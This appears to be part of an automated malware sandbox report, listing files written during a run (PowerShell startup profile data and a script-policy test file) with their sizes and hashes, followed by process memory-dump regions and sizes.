        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          393265b3a7faef4e3735373c6e80a9cc

          SHA1

          dad53df6e255e2e665e860be5e6cccae6bcdb272

          SHA256

          15237ab749ba11b6328e9ee2b53c5f07497011049903a1a19054d2a2150777ba

          SHA512

          3c1d0b64b3bfab20859acced58f4bca3ba48bd1f066f12a9058d93a49e0e62a13a4c1d2e6ac380b2e37a32224c09f611982d7b81f58b19bd5adac955747e0fed

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          c1a54dd5a1ab44cc4c4afd42f291c863

          SHA1

          b77043ab3582680fc96192e9d333a6be0ae0f69d

          SHA256

          c6dce870a896f3531ae7a10a0c2096d2eb7eb5989ae783aefea6150279502d75

          SHA512

          010f5093f58b0393d17c824a357513cf4f06239ccddd86c2e0581347ef3b8e7b93f869b0770bdaeb000e4fda7e14f49b9e45663a3839ab049446e9fe08ec535d

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zawp45ep.nyx.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/392-12-0x00007FFB38980000-0x00007FFB39441000-memory.dmp

          Filesize

          10.8MB

        • memory/392-0-0x00007FFB38983000-0x00007FFB38985000-memory.dmp

          Filesize

          8KB

        • memory/392-11-0x00007FFB38980000-0x00007FFB39441000-memory.dmp

          Filesize

          10.8MB

        • memory/392-61-0x00007FFB38983000-0x00007FFB38985000-memory.dmp

          Filesize

          8KB

        • memory/392-67-0x00007FFB38980000-0x00007FFB39441000-memory.dmp

          Filesize

          10.8MB

        • memory/392-2-0x0000020A58140000-0x0000020A58162000-memory.dmp

          Filesize

          136KB

        • memory/3364-82-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-94-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-84-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-86-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-87-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-90-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-91-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-92-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-93-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-125-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-100-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-101-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-124-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-108-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-109-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-116-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3364-117-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/3412-81-0x0000012636070000-0x000001263607A000-memory.dmp

          Filesize

          40KB

        • memory/4352-22-0x000001AB6A320000-0x000001AB6A32A000-memory.dmp

          Filesize

          40KB